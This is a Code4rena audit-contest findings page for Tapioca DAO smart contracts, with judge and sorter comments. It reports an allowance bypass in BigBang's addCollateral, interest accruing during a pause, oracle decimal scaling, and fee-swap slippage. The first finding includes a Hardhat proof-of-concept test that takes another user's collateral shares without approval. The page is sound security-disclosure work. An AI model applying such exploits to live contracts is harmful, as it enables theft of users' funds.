Platform: Code4rena
Start Date: 05/07/2023
Pot Size: $390,000 USDC
Total HM: 136
Participants: 132
Period: about 1 month
Judge: LSDan
Total Solo HM: 56
Id: 261
League: ETH
Rank: 67/132
Findings: 5
Award: $251.45
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: Ack
Also found by: 0xG0P1, 0xRobocop, 0xStalin, KIntern_NA, Koolex, Oxsadeeq, RedOneN, TiesStevelink, ayeslick, bin2chen, cergyk, kaden, ladboy233, ltyu, plainshift, rvierdiiev, xuwinnie, zzzitron
20.4247 USDC - $20.42
The modifier, allowedBorrow
does not check allowance for amount
. This results in other user shares being stolen.
In addCollateral() of BigBang.sol, a user is able to add collateral of from
address, and the to
address would get the shares. One of the features of this function is the ability to add collateral using an amount
or shares
.
For access control, a modifier checks to see if the caller can borrow based on their allowed shares
amount (i.e. allowanceBorrow
).
// allowedBorrow modifer checks the allowance using shares function addCollateral( address from, address to, bool skim, uint256 amount, uint256 share ) public allowedBorrow(from, share) notPaused { _addCollateral(from, to, skim, amount, share); } // Internal function of allowedBorrow modifer function _allowedBorrow(address from, uint share) internal { if (from != msg.sender) { if (allowanceBorrow[from][msg.sender] < share) { revert NotApproved(from, msg.sender); } allowanceBorrow[from][msg.sender] -= share; } }
However, this is problematic because allowedBorrow()
only checks the allowance based on shares
, and not amount
. This means that anyone can call addCollateral()
using only amount
, and steal other user's shares.
Add this unit test to addCollateral()
block of BigBang.test.ts
it.only('should add collateral without allowance', async () => { const [owner, otherUser] = await ethers.getSigners(); const { wethBigBangMarket, weth, wethAssetId, yieldBox, deployer, eoa1, } = await loadFixture(register); await weth.approve(yieldBox.address, ethers.constants.MaxUint256); await yieldBox.setApprovalForAll(wethBigBangMarket.address, true); const wethMintVal = ethers.BigNumber.from((1e18).toString()).mul( 10, ); await weth.freeMint(wethMintVal); // Deployer deposits assets const valShare = await yieldBox.toShare( wethAssetId, wethMintVal, false, ); await yieldBox.depositAsset( wethAssetId, deployer.address, deployer.address, 0, valShare, ); // Check shares of otherUser const collateralSharesBefore = await wethBigBangMarket.userCollateralShare( otherUser.address, ); expect(collateralSharesBefore.eq(0)).to.be.true; // No approval needed before await wethBigBangMarket.connect(otherUser).addCollateral( deployer.address, otherUser.address, false, wethMintVal, 0, ); // Check shares of otherUser, now has shares const collateralSharesAfter = await wethBigBangMarket.userCollateralShare( otherUser.address, ); expect(collateralSharesAfter.gt(0)).to.be.true; expect(collateralSharesAfter.eq(valShare)).to.be.true; // Check deployer shares, no shares const deployerSharesAfter = await wethBigBangMarket.userCollateralShare( otherUser.address, ); expect(deployerSharesAfter.eq(0)).to.be.true; });
Manual
Consider 1) creating a modifier that also checks the input amount, and 2) removing either amount
or shares
to simplify this function if both are not required.
Access Control
#0 - c4-pre-sort
2023-08-05T02:58:04Z
minhquanym marked the issue as duplicate of #55
#1 - c4-judge
2023-09-12T17:33:12Z
dmvt marked the issue as satisfactory
46.3738 USDC - $46.37
Users unfairly accrue interest when the protocol has been paused. This results in increase liquidation risk once BigBang has unpaused.
In accrue()
of BigBang.sol, any user can call and accrue interest for borrowed tokens. However, this function can still be called when BigBang is paused
. This is problematic because when the system is paused, for no fault of their own, users will end up accruing interest rate.
Also, since repay()
cannot be called while paused
, user would have no way to service their loans. Even though liquidate()
cannot be called immediately, MEV can still try to front-run liquidations after unpause.
Manual
Consider allowing repayments when BigBang has been paused.
Timing
#0 - c4-pre-sort
2023-08-04T23:39:37Z
minhquanym marked the issue as duplicate of #9
#1 - c4-pre-sort
2023-08-04T23:42:29Z
minhquanym marked the issue as duplicate of #1169
#2 - c4-judge
2023-09-29T19:15:21Z
dmvt marked the issue as satisfactory
🌟 Selected for report: dirk_y
Also found by: KIntern_NA, SaeedAlipoor01988, ltyu
141.3621 USDC - $141.36
ARBTriCryptoOracle incorrectly assumes all prices return a decimal of 8. This results in overpricing an asset, causing protocol-wide accounting issues.
In _get()
of ARBTriCryptoOracle.sol, each Tricrypto price is fetched from Chainlink. The prices are then scaled to 18 decimals
function _get() internal view returns (uint256 _maxPrice) { uint256 _vp = TRI_CRYPTO.get_virtual_price(); // Get the prices from chainlink and add 10 decimals uint256 _btcPrice = uint256(BTC_FEED.latestAnswer()) * 1e10; uint256 _wbtcPrice = uint256(WBTC_FEED.latestAnswer()) * 1e10; uint256 _ethPrice = uint256(ETH_FEED.latestAnswer()) * 1e10; uint256 _usdtPrice = uint256(USDT_FEED.latestAnswer()) * 1e10;
This scaling is problematic because it always assumes the price returned is 8 decimals, which is true for most price feeds. However, there are some feeds that return pricing with other decimals. This results in incorrect scaling, and thus overpricing an asset.
Manual
Consider implementing a dynamic scaling solution based on the oracle's exact decimal()
, which is done in other existing Oracle implementations.
Oracle
#0 - c4-pre-sort
2023-08-06T01:00:21Z
minhquanym marked the issue as duplicate of #188
#1 - c4-judge
2023-09-29T18:14:52Z
dmvt marked the issue as satisfactory
🌟 Selected for report: 0xWaitress
Also found by: Ack, BPZ, Breeje, LosPollosHermanos, Madalad, Nyx, Ruhum, SaeedAlipoor01988, ayeslick, c7e7eff, carrotsmuggler, cergyk, dirk_y, hack3r-0m, iglyx, kaden, kodyvim, kutugu, ladboy233, ltyu, mojito_auditor, n1punp, rvierdiiev, unsafesol, zzzitron
2.1417 USDC - $2.14
https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/Penrose.sol#L232-L248 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/2286f80f928f41c8bc189d0657d74ba83286c668/contracts/Penrose.sol#L531
withdrawAllMarketFees()
gives the caller control of slippage, which can result in unfavorable fee swaps, and lost protocol fees.
In withdrawAllMarketFees()
of Penrose.sol, anyone can call this function to collect protocol fees into Yieldbox. Since the fees get deposited on behalf of the protocol, it is understandable that access for function does not need to controlled, thus anyone can call this.
However, this is problematic because the SwapData.minAssetAmount
can be set as anything. At the worst case, an adversary can potentially set this to 0
, and manipulate the swap price to give max slippage for the swap, potentially resulting in no fees. At the best case, benevolent callers may unintentionally set this to a low number, and always give the protocol unfavorable swap results.
Manual
Consider controlling who can call withdrawAllMarketFees()
e.g. protocol/owner only.
Access Control
#0 - c4-pre-sort
2023-08-06T06:08:00Z
minhquanym marked the issue as duplicate of #266
#1 - c4-judge
2023-09-19T11:43:41Z
dmvt marked the issue as duplicate of #245
#2 - c4-judge
2023-09-22T22:14:40Z
dmvt changed the severity to 2 (Med Risk)
#3 - c4-judge
2023-09-22T22:15:42Z
dmvt marked the issue as satisfactory